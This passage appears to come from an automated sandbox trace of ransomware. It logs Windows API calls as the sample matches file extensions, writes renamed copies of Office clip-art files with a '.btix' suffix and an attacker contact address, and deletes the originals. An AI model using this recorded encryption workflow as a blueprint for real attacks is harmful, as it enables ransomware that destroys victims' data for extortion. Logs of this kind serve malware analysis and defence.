(lpString=".bz2") returned 4 [0052.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.724] lstrlenW (lpString=".7z") returned 3 [0052.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.724] lstrlenW (lpString=".dbf") returned 4 [0052.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.724] lstrlenW (lpString=".1cd") returned 4 [0052.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.724] lstrlenW (lpString=".jpg") returned 4 [0052.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.724] lstrlenW (lpString=".doc") returned 4 [0052.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.724] lstrlenW (lpString=".docx") returned 5 [0052.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.724] lstrlenW (lpString=".pdf") returned 4 [0052.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.724] lstrlenW (lpString=".xls") returned 4 [0052.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.724] lstrlenW (lpString=".xlsx") returned 5 [0052.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.725] lstrlenW (lpString=".ppt") returned 4 [0052.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.725] lstrlenW (lpString=".zip") returned 4 [0052.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.725] lstrlenW (lpString=".rar") returned 4 [0052.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.725] lstrlenW (lpString=".bz2") returned 4 [0052.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.725] lstrlenW (lpString=".7z") returned 3 [0052.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.725] lstrlenW (lpString=".dbf") returned 4 [0052.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.725] lstrlenW (lpString=".1cd") returned 4 [0052.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0052.725] lstrlenW (lpString=".jpg") returned 4 [0052.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.725] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.725] lstrlenW (lpString="BD00146_.WMF") returned 12 [0052.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.725] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=28948) returned 1 [0052.725] CloseHandle (hObject=0x344) returned 1 [0052.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0052.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.726] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.726] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0052.726] GetLastError () returned 0x0 [0052.726] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x7114, lpOverlapped=0x0) returned 1 [0052.815] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x7120, lpOverlapped=0x0) returned 1 [0052.816] ReadFile (in: hFile=0x344, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.816] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.816] SetEndOfFile (hFile=0x390) returned 1 [0052.816] CloseHandle (hObject=0x390) returned 1 [0052.817] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.817] SetEndOfFile (hFile=0x344) returned 1 [0052.818] CloseHandle (hObject=0x344) returned 1 [0052.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0054.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.805] lstrlenW (lpString=".doc") returned 4 [0054.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.806] lstrlenW (lpString=".docx") returned 5 [0054.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.806] lstrlenW (lpString=".pdf") returned 4 [0054.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.806] lstrlenW (lpString=".xls") returned 4 [0054.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.806] lstrlenW (lpString=".xlsx") returned 5 [0054.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.806] lstrlenW (lpString=".ppt") returned 4 [0054.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.806] lstrlenW (lpString=".zip") returned 4 [0054.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.806] lstrlenW (lpString=".rar") returned 4 [0054.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.806] lstrlenW (lpString=".bz2") returned 4 [0054.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.806] lstrlenW (lpString=".7z") returned 3 [0054.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.806] lstrlenW (lpString=".dbf") returned 4 [0054.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.806] lstrlenW (lpString=".1cd") returned 4 [0054.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.806] lstrlenW (lpString=".jpg") returned 4 [0054.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.807] lstrlenW (lpString=".doc") returned 4 [0054.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.807] lstrlenW (lpString=".docx") returned 5 [0054.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.807] lstrlenW (lpString=".pdf") returned 4 [0054.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.807] lstrlenW (lpString=".xls") returned 4 [0054.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.807] lstrlenW (lpString=".xlsx") returned 5 [0054.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.807] lstrlenW (lpString=".ppt") returned 4 [0054.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.807] lstrlenW (lpString=".zip") returned 4 [0054.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.807] lstrlenW (lpString=".rar") returned 4 [0054.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.807] lstrlenW (lpString=".bz2") returned 4 [0054.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.807] lstrlenW (lpString=".7z") returned 3 [0054.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.807] lstrlenW (lpString=".dbf") returned 4 [0054.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.807] lstrlenW (lpString=".1cd") returned 4 [0054.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0054.807] lstrlenW (lpString=".jpg") returned 4 [0054.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.807] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0054.808] lstrlenW (lpString="BD06102_.WMF") returned 12 [0054.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.558] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=16112) returned 1 [0055.558] CloseHandle (hObject=0x328) returned 1 [0055.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0055.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.558] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.559] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0055.559] GetLastError () returned 0x0 [0055.559] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0055.708] WriteFile (in: hFile=0x378, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0055.709] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.709] WriteFile (in: hFile=0x378, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0055.709] SetEndOfFile (hFile=0x378) returned 1 [0055.709] CloseHandle (hObject=0x378) returned 1 [0055.710] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.710] SetEndOfFile (hFile=0x328) returned 1 [0055.711] CloseHandle (hObject=0x328) returned 1 [0055.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0055.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.712] lstrlenW (lpString=".doc") returned 4 [0055.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.712] lstrlenW (lpString=".docx") returned 5 [0055.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.712] lstrlenW (lpString=".pdf") returned 4 [0055.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.712] lstrlenW (lpString=".xls") returned 4 [0055.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.712] lstrlenW (lpString=".xlsx") returned 5 [0055.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.712] lstrlenW (lpString=".ppt") returned 4 [0055.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.712] lstrlenW (lpString=".zip") returned 4 [0055.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.712] lstrlenW (lpString=".rar") returned 4 [0055.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.713] lstrlenW (lpString=".bz2") returned 4 [0055.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.713] lstrlenW (lpString=".7z") returned 3 [0055.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.713] lstrlenW (lpString=".dbf") returned 4 [0055.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.713] lstrlenW (lpString=".1cd") returned 4 [0055.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.713] lstrlenW (lpString=".jpg") returned 4 [0055.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.713] lstrlenW (lpString=".doc") returned 4 [0055.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.713] lstrlenW (lpString=".docx") returned 5 [0055.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.713] lstrlenW (lpString=".pdf") returned 4 [0055.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.713] lstrlenW (lpString=".xls") returned 4 [0055.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.713] lstrlenW (lpString=".xlsx") returned 5 [0055.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.714] lstrlenW (lpString=".ppt") returned 4 [0055.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.714] lstrlenW (lpString=".zip") returned 4 [0055.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.714] lstrlenW (lpString=".rar") returned 4 [0055.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.714] lstrlenW (lpString=".bz2") returned 4 [0055.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.714] lstrlenW (lpString=".7z") returned 3 [0055.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.714] lstrlenW (lpString=".dbf") returned 4 [0055.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.714] lstrlenW (lpString=".1cd") returned 4 [0055.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0055.714] lstrlenW (lpString=".jpg") returned 4 [0055.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.714] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0055.714] lstrlenW (lpString="BD07761_.WMF") returned 12 [0055.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0055.724] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=26748) returned 1 [0055.724] CloseHandle (hObject=0x34c) returned 1 [0055.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0055.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0055.725] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.725] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.726] GetLastError () returned 0x0 [0055.726] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x687c, lpOverlapped=0x0) returned 1 [0055.917] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x6880, lpOverlapped=0x0) returned 1 [0055.918] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.918] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0055.918] SetEndOfFile (hFile=0x308) returned 1 [0055.919] CloseHandle (hObject=0x308) returned 1 [0055.920] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.920] SetEndOfFile (hFile=0x34c) returned 1 [0055.921] CloseHandle (hObject=0x34c) returned 1 [0055.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0055.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.921] lstrlenW (lpString=".doc") returned 4 [0055.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.921] lstrlenW (lpString=".docx") returned 5 [0055.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.921] lstrlenW (lpString=".pdf") returned 4 [0055.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString=".xls") returned 4 [0055.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.922] lstrlenW (lpString=".xlsx") returned 5 [0055.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.922] lstrlenW (lpString=".ppt") returned 4 [0055.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.922] lstrlenW (lpString=".zip") returned 4 [0055.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.922] lstrlenW (lpString=".rar") returned 4 [0055.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString=".bz2") returned 4 [0055.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString=".7z") returned 3 [0055.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.922] lstrlenW (lpString=".dbf") returned 4 [0055.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString="C:\\Program Files\\Microsoft 